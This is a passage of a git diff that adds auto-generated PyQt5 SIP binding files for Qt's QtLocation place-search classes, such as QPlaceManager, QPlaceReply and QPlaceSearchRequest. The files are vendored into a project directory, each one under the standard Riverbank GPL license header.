/dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacedetailsreply.sip @@ -0,0 +1,41 @@ +// qplacedetailsreply.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceDetailsReply : QPlaceReply +{ +%TypeHeaderCode +#include +%End + +public: + explicit QPlaceDetailsReply(QObject *parent /TransferThis/ = 0); + virtual ~QPlaceDetailsReply(); + virtual QPlaceReply::Type type() const; + QPlace place() const; + +protected: + void setPlace(const QPlace &place); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceeditorial.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceeditorial.sip new file mode 100644 index 00000000..a773fcfb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceeditorial.sip @@ -0,0 +1,43 @@ +// qplaceeditorial.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceEditorial : QPlaceContent +{ +%TypeHeaderCode +#include +%End + +public: + QPlaceEditorial(); + QPlaceEditorial(const QPlaceContent &other); + virtual ~QPlaceEditorial(); + QString text() const; + void setText(const QString &text); + QString title() const; + void setTitle(const QString &data); + QString language() const; + void setLanguage(const QString &data); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceicon.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceicon.sip new file mode 100644 index 00000000..432ed3e3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceicon.sip @@ -0,0 +1,46 @@ +// qplaceicon.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceIcon +{ +%TypeHeaderCode +#include +%End + +public: + static const QString SingleUrl; + QPlaceIcon(); + QPlaceIcon(const QPlaceIcon &other); + ~QPlaceIcon(); + bool operator==(const QPlaceIcon &other) const; + bool operator!=(const QPlaceIcon &other) const; + QUrl url(const QSize &size = QSize()) const; + QPlaceManager *manager() const; + void setManager(QPlaceManager *manager); + QVariantMap parameters() const; + void setParameters(const QVariantMap ¶meters); + bool isEmpty() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceidreply.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceidreply.sip new file mode 100644 index 00000000..caec6d42 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceidreply.sip @@ -0,0 +1,50 @@ +// qplaceidreply.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceIdReply : QPlaceReply +{ +%TypeHeaderCode +#include +%End + +public: + enum OperationType + { + SavePlace, + SaveCategory, + RemovePlace, + RemoveCategory, + }; + + QPlaceIdReply(QPlaceIdReply::OperationType operationType, QObject *parent /TransferThis/ = 0); + virtual ~QPlaceIdReply(); + virtual QPlaceReply::Type type() const; + QPlaceIdReply::OperationType operationType() const; + QString id() const; + +protected: + void setId(const QString &identifier); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceimage.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceimage.sip new file mode 100644 index 00000000..06117c03 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceimage.sip @@ -0,0 +1,43 @@ +// qplaceimage.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceImage : QPlaceContent +{ +%TypeHeaderCode +#include +%End + +public: + QPlaceImage(); + QPlaceImage(const QPlaceContent &other); + virtual ~QPlaceImage(); + QUrl url() const; + void setUrl(const QUrl &url); + QString imageId() const; + void setImageId(const QString &identifier); + QString mimeType() const; + void setMimeType(const QString &data); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacemanager.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacemanager.sip new file mode 100644 index 00000000..5d3be872 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacemanager.sip @@ -0,0 +1,66 @@ +// qplacemanager.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceManager : QObject /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QPlaceManager(); + QString managerName() const; + int managerVersion() const; + QPlaceDetailsReply *getPlaceDetails(const QString &placeId) const; + QPlaceContentReply *getPlaceContent(const QPlaceContentRequest &request) const; + QPlaceSearchReply *search(const QPlaceSearchRequest &query) const; + QPlaceSearchSuggestionReply *searchSuggestions(const QPlaceSearchRequest &request) const; + QPlaceIdReply *savePlace(const QPlace &place); + QPlaceIdReply *removePlace(const QString &placeId); + QPlaceIdReply *saveCategory(const QPlaceCategory &category, const QString &parentId = QString()); + QPlaceIdReply *removeCategory(const QString &categoryId); + QPlaceReply *initializeCategories(); + QString parentCategoryId(const QString &categoryId) const; + QStringList childCategoryIds(const QString &parentId = QString()) const; + QPlaceCategory category(const QString &categoryId) const; + QList childCategories(const QString &parentId = QString()) const; + QList locales() const; + void setLocale(const QLocale &locale); + void setLocales(const QList &locale); + QPlace compatiblePlace(const QPlace &place); + QPlaceMatchReply *matchingPlaces(const QPlaceMatchRequest &request) const; + +signals: + void finished(QPlaceReply *reply); + void error(QPlaceReply *, QPlaceReply::Error error, const QString &errorString = QString()); + void placeAdded(const QString &placeId); + void placeUpdated(const QString &placeId); + void placeRemoved(const QString &placeId); + void categoryAdded(const QPlaceCategory &category, const QString &parentId); + void categoryUpdated(const QPlaceCategory &category, const QString &parentId); + void categoryRemoved(const QString &categoryId, const QString &parentId); + void dataChanged(); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacemanagerengine.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacemanagerengine.sip new file mode 100644 index 00000000..65a9d2c7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacemanagerengine.sip @@ -0,0 +1,70 @@ +// qplacemanagerengine.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceManagerEngine : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QPlaceManagerEngine(const QVariantMap ¶meters, QObject *parent /TransferThis/ = 0); + virtual ~QPlaceManagerEngine(); + QString managerName() const; + int managerVersion() const; + virtual QPlaceDetailsReply *getPlaceDetails(const QString &placeId); + virtual QPlaceContentReply *getPlaceContent(const QPlaceContentRequest &request); + virtual QPlaceSearchReply *search(const QPlaceSearchRequest &request); + virtual QPlaceSearchSuggestionReply *searchSuggestions(const QPlaceSearchRequest &request); + virtual QPlaceIdReply *savePlace(const QPlace &place); + virtual QPlaceIdReply *removePlace(const QString &placeId); + virtual QPlaceIdReply *saveCategory(const QPlaceCategory &category, const QString &parentId); + virtual QPlaceIdReply *removeCategory(const QString &categoryId); + virtual QPlaceReply *initializeCategories(); + virtual QString parentCategoryId(const QString &categoryId) const; + virtual QStringList childCategoryIds(const QString &categoryId) const; + virtual QPlaceCategory category(const QString &categoryId) const; + virtual QList childCategories(const QString &parentId) const; + virtual QList locales() const; + virtual void setLocales(const QList &locales); + virtual QUrl constructIconUrl(const QPlaceIcon &icon, const QSize &size) const; + virtual QPlace compatiblePlace(const QPlace &original) const; + virtual QPlaceMatchReply *matchingPlaces(const QPlaceMatchRequest &request); + +signals: + void finished(QPlaceReply *reply); + void error(QPlaceReply *, QPlaceReply::Error error, const QString &errorString = QString()); + void placeAdded(const QString &placeId); + void placeUpdated(const QString &placeId); + void placeRemoved(const QString &placeId); + void categoryAdded(const QPlaceCategory &category, const QString &parentCategoryId); + void categoryUpdated(const QPlaceCategory &category, const QString &parentCategoryId); + void categoryRemoved(const QString &categoryId, const QString &parentCategoryId); + void dataChanged(); + +protected: + QPlaceManager *manager() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacematchreply.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacematchreply.sip new file mode 100644 index 00000000..2c8c1c41 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacematchreply.sip @@ -0,0 +1,43 @@ +// qplacematchreply.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceMatchReply : QPlaceReply +{ +%TypeHeaderCode +#include +%End + +public: + explicit QPlaceMatchReply(QObject *parent /TransferThis/ = 0); + virtual ~QPlaceMatchReply(); + virtual QPlaceReply::Type type() const; + QList places() const; + QPlaceMatchRequest request() const; + +protected: + void setPlaces(const QList &results); + void setRequest(const QPlaceMatchRequest &request); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacematchrequest.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacematchrequest.sip new file mode 100644 index 00000000..dcabafc9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacematchrequest.sip @@ -0,0 +1,46 @@ +// qplacematchrequest.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceMatchRequest +{ +%TypeHeaderCode +#include +%End + +public: + static const QString AlternativeId; + QPlaceMatchRequest(); + QPlaceMatchRequest(const QPlaceMatchRequest &other); + ~QPlaceMatchRequest(); + bool operator==(const QPlaceMatchRequest &other) const; + bool operator!=(const QPlaceMatchRequest &other) const; + QList places() const; + void setPlaces(const QList places); + void setResults(const QList &results); + QVariantMap parameters() const; + void setParameters(const QVariantMap ¶meters); + void clear(); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceproposedsearchresult.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceproposedsearchresult.sip new file mode 100644 index 00000000..0b650c42 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceproposedsearchresult.sip @@ -0,0 +1,39 @@ +// qplaceproposedsearchresult.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceProposedSearchResult : QPlaceSearchResult +{ +%TypeHeaderCode +#include +%End + +public: + QPlaceProposedSearchResult(); + QPlaceProposedSearchResult(const QPlaceSearchResult &other); + virtual ~QPlaceProposedSearchResult(); + QPlaceSearchRequest searchRequest() const; + void setSearchRequest(const QPlaceSearchRequest &request); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceratings.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceratings.sip new file mode 100644 index 00000000..7c8c7ab3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceratings.sip @@ -0,0 +1,46 @@ +// qplaceratings.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceRatings +{ +%TypeHeaderCode +#include +%End + +public: + QPlaceRatings(); + QPlaceRatings(const QPlaceRatings &other); + ~QPlaceRatings(); + bool operator==(const QPlaceRatings &other) const; + bool operator!=(const QPlaceRatings &other) const; + qreal average() const; + void setAverage(qreal average); + int count() const; + void setCount(int count); + qreal maximum() const; + void setMaximum(qreal max); + bool isEmpty() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacereply.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacereply.sip new file mode 100644 index 00000000..c87703c6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacereply.sip @@ -0,0 +1,82 @@ +// qplacereply.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceReply : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum Error + { + NoError, + PlaceDoesNotExistError, + CategoryDoesNotExistError, + CommunicationError, + ParseError, + PermissionsError, + UnsupportedError, + BadArgumentError, + CancelError, + UnknownError, + }; + + enum Type + { + Reply, + DetailsReply, + SearchReply, + SearchSuggestionReply, + ContentReply, + IdReply, + MatchReply, + }; + + explicit QPlaceReply(QObject *parent /TransferThis/ = 0); + virtual ~QPlaceReply(); + bool isFinished() const; + virtual QPlaceReply::Type type() const; + QString errorString() const; + QPlaceReply::Error error() const; + +public slots: + virtual void abort(); + +signals: +%If (Qt_5_9_0 -) + void aborted(); +%End + void finished(); + void error(QPlaceReply::Error error, const QString &errorString = QString()); +%If (Qt_5_12_0 -) + void contentUpdated(); +%End + +protected: + void setFinished(bool finished); + void setError(QPlaceReply::Error error, const QString &errorString); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceresult.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceresult.sip new file mode 100644 index 00000000..71d5ff89 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplaceresult.sip @@ -0,0 +1,43 @@ +// qplaceresult.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceResult : QPlaceSearchResult +{ +%TypeHeaderCode +#include +%End + +public: + QPlaceResult(); + QPlaceResult(const QPlaceSearchResult &other); + virtual ~QPlaceResult(); + qreal distance() const; + void setDistance(qreal distance); + QPlace place() const; + void setPlace(const QPlace &place); + bool isSponsored() const; + void setSponsored(bool sponsored); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacereview.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacereview.sip new file mode 100644 index 00000000..157e53cc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacereview.sip @@ -0,0 +1,49 @@ +// qplacereview.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceReview : QPlaceContent +{ +%TypeHeaderCode +#include +%End + +public: + QPlaceReview(); + QPlaceReview(const QPlaceContent &other); + virtual ~QPlaceReview(); + QDateTime dateTime() const; + void setDateTime(const QDateTime &dt); + QString text() const; + void setText(const QString &text); + QString language() const; + void setLanguage(const QString &data); + qreal rating() const; + void setRating(qreal data); + QString reviewId() const; + void setReviewId(const QString &identifier); + QString title() const; + void setTitle(const QString &data); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacesearchreply.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacesearchreply.sip new file mode 100644 index 00000000..fe59d53e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacesearchreply.sip @@ -0,0 +1,47 @@ +// qplacesearchreply.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceSearchReply : QPlaceReply +{ +%TypeHeaderCode +#include +%End + +public: + explicit QPlaceSearchReply(QObject *parent /TransferThis/ = 0); + virtual ~QPlaceSearchReply(); + virtual QPlaceReply::Type type() const; + QList results() const; + QPlaceSearchRequest request() const; + QPlaceSearchRequest previousPageRequest() const; + QPlaceSearchRequest nextPageRequest() const; + +protected: + void setResults(const QList &results); + void setRequest(const QPlaceSearchRequest &request); + void setPreviousPageRequest(const QPlaceSearchRequest &previous); + void setNextPageRequest(const QPlaceSearchRequest &next); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacesearchrequest.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacesearchrequest.sip new file mode 100644 index 00000000..30024d21 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacesearchrequest.sip @@ -0,0 +1,64 @@ +// qplacesearchrequest.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceSearchRequest +{ +%TypeHeaderCode +#include +%End + +public: + enum RelevanceHint + { + UnspecifiedHint, + DistanceHint, + LexicalPlaceNameHint, + }; + + QPlaceSearchRequest(); + QPlaceSearchRequest(const QPlaceSearchRequest &other); + ~QPlaceSearchRequest(); + bool operator==(const QPlaceSearchRequest &other) const; + bool operator!=(const QPlaceSearchRequest &other) const; + QString searchTerm() const; + void setSearchTerm(const QString &term); + QList categories() const; + void setCategory(const QPlaceCategory &category); + void setCategories(const QList &categories); + QGeoShape searchArea() const; + void setSearchArea(const QGeoShape &area); + QString recommendationId() const; + void setRecommendationId(const QString &recommendationId); + QVariant searchContext() const; + void setSearchContext(const QVariant &context); + QLocation::VisibilityScope visibilityScope() const; + void setVisibilityScope(QLocation::VisibilityScope visibilityScopes); + QPlaceSearchRequest::RelevanceHint relevanceHint() const; + void setRelevanceHint(QPlaceSearchRequest::RelevanceHint hint); + int limit() const; + void setLimit(int limit); + void clear(); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacesearchresult.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacesearchresult.sip new file mode 100644 index 00000000..3adba381 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacesearchresult.sip @@ -0,0 +1,52 @@ +// qplacesearchresult.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) + +class QPlaceSearchResult +{ +%TypeHeaderCode +#include +%End + +public: + QPlaceSearchResult(); + QPlaceSearchResult(const QPlaceSearchResult &other); + virtual ~QPlaceSearchResult(); + bool operator==(const QPlaceSearchResult &other) const; + bool operator!=(const QPlaceSearchResult &other) const; + + enum SearchResultType + { + UnknownSearchResult, + PlaceResult, + ProposedSearchResult, + }; + + QPlaceSearchResult::SearchResultType type() const; + QString title() const; + void setTitle(const QString &title); + QPlaceIcon icon() const; + void setIcon(const QPlaceIcon &icon); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacesearchsuggestionreply.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacesearchsuggestionreply.sip new file mode 100644 index 00000000..52bb2b4d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtLocation/qplacesearchsuggestionreply.sip @@ -0,0 +1,41 @@ +// qplacesearchsuggestionreply.sip generated by MetaSIP +// +// This file is part of the QtLocation Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 